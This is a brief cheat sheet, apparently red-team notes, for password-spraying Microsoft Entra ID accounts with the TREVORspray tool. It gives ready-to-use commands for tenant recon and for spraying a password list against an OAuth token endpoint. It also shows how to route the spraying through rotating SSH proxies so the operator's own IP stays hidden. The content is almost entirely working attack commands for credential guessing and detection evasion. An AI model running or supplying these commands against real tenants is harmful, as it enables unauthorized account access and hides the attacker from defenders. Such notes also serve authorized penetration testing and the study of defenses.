Entra Password Spraying Tools

Trevorspray

https://github.com/blacklanternsecurity/TREVORspray

Determine if managed or federated

trevorspray --recon <domain>

Password spray against `token_endpoint`

trevorspray -u <user_list> -p '<password>' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Password spray wtih round robin SSH proxy

trevorspray -u <user_list> -p '<password>' --ssh root@<ssh_server> root@<ssh_server> -k <ssh_key>

Add -n to only spray using proxies, not your current IP.